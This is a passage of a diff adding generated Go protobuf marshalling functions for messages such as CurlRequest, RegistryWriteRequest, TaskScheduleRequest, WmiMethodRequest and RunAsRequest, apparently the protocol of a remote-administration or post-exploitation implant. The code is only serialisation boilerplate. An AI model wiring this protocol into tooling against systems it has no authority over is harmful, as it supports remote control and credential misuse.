dAtA[i] = 0x30 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if m.Priv != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Priv)) + i-- + dAtA[i] = 0x18 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DownloadRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x28 + } + if m.Dir { + i-- + if m.Dir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.BufferSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BufferSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DownloadResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x22 + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x18 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x10 + } + if len(m.Checksum) > 0 { + i -= len(m.Checksum) + copy(dAtA[i:], m.Checksum) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Checksum))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CurlRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CurlRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *CurlRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Header) > 0 { + for k := range m.Header { + v := m.Header[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x2a + } + } + if len(m.Body) > 0 { + i -= len(m.Body) + copy(dAtA[i:], m.Body) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Body))) + i-- + dAtA[i] = 0x22 + } + if len(m.Method) > 0 { + i -= len(m.Method) + copy(dAtA[i:], m.Method) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Method))) + i-- + dAtA[i] = 0x1a + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x10 + } + if len(m.Url) > 0 { + i -= len(m.Url) + copy(dAtA[i:], m.Url) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Url))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ChownRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ChownRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ChownRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Recursive { + i-- + if m.Recursive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if len(m.Gid) > 0 { + i -= len(m.Gid) + copy(dAtA[i:], m.Gid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Gid))) + i-- + dAtA[i] = 0x1a + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *IfconfigResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *IfconfigResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *IfconfigResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NetInterfaces) > 0 { + for iNdEx := len(m.NetInterfaces) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.NetInterfaces[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *RegistryRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *RegistryRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Registry != nil { + size, err := m.Registry.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Registry) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Registry) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Registry) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RegistryWriteRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryWriteRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *RegistryWriteRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Regtype != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Regtype)) + i-- + dAtA[i] = 0x50 + } + if m.QwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.QwordValue)) + i-- + dAtA[i] = 0x40 + } + if m.DwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.DwordValue)) + i-- + dAtA[i] = 0x38 + } + if len(m.ByteValue) > 0 { + i -= len(m.ByteValue) + copy(dAtA[i:], m.ByteValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ByteValue))) + i-- + dAtA[i] = 0x32 + } + if len(m.StringValue) > 0 { + i -= len(m.StringValue) + copy(dAtA[i:], m.StringValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringValue))) + i-- + dAtA[i] = 0x2a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskScheduleRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskScheduleRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskScheduleRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Taskschd != nil { + size, err := m.Taskschd.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedule) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedule) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskSchedule) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NextRunTime) > 0 { + i -= len(m.NextRunTime) + copy(dAtA[i:], m.NextRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.NextRunTime))) + i-- + dAtA[i] = 0x4a + } + if len(m.LastRunTime) > 0 { + i -= len(m.LastRunTime) + copy(dAtA[i:], m.LastRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LastRunTime))) + i-- + dAtA[i] = 0x42 + } + if m.Enabled { + i-- + if m.Enabled { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if len(m.Description) > 0 { + i -= len(m.Description) + copy(dAtA[i:], m.Description) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Description))) + i-- + dAtA[i] = 0x32 + } + if len(m.StartBoundary) > 0 { + i -= len(m.StartBoundary) + copy(dAtA[i:], m.StartBoundary) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StartBoundary))) + i-- + dAtA[i] = 0x2a + } + if m.TriggerType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TriggerType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedulesResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedulesResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskSchedulesResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Schedules) > 0 { + for iNdEx := len(m.Schedules) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Schedules[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ServiceRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServiceRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Service != nil { + size, err := m.Service.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceConfig) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceConfig) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServiceConfig) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.AccountName) > 0 { + i -= len(m.AccountName) + copy(dAtA[i:], m.AccountName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.AccountName))) + i-- + dAtA[i] = 0x32 + } + if m.ErrorControl != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ErrorControl)) + i-- + dAtA[i] = 0x28 + } + if m.StartType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StartType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.DisplayName) > 0 { + i -= len(m.DisplayName) + copy(dAtA[i:], m.DisplayName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DisplayName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceStatus) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceStatus) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServiceStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.WaitHint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.WaitHint)) + i-- + dAtA[i] = 0x28 + } + if m.Checkpoint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Checkpoint)) + i-- + dAtA[i] = 0x20 + } + if m.ExitCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ExitCode)) + i-- + dAtA[i] = 0x18 + } + if m.ProcessId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ProcessId)) + i-- + dAtA[i] = 0x10 + } + if m.CurrentState != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.CurrentState)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Service) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Service) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Service) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Status != nil { + size, err := m.Status.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if m.Config != nil { + size, err := m.Config.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServicesResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServicesResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServicesResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Services) > 0 { + for iNdEx := len(m.Services) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Services[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *WmiQueryRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiQueryRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *WmiQueryRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *WmiMethodRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiMethodRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *WmiMethodRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.MethodName) > 0 { + i -= len(m.MethodName) + copy(dAtA[i:], m.MethodName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.MethodName))) + i-- + dAtA[i] = 0x1a + } + if len(m.ClassName) > 0 { + i -= len(m.ClassName) + copy(dAtA[i:], m.ClassName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClassName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RunAsRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RunAsRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *RunAsRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.UseEnv { + i-- + if m.UseEnv { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x40 + } + if m.Netonly { + i-- + if m.Netonly { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if m.UseProfile { + i-- + if m.UseProfile { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x2a + } + if len(m.Program) > 0 { + i -= len(m.Program) + copy(dAtA[i:], m.Program) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Program))) + i-- + dAtA[i] = 0x22 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x1a + } + if len(m.Domain) > 0 { + i -= len(m.Domain) + copy(dAtA[i:], m.Domain) + i = protobuf_go_lite.EncodeVarint(dAtA, i, 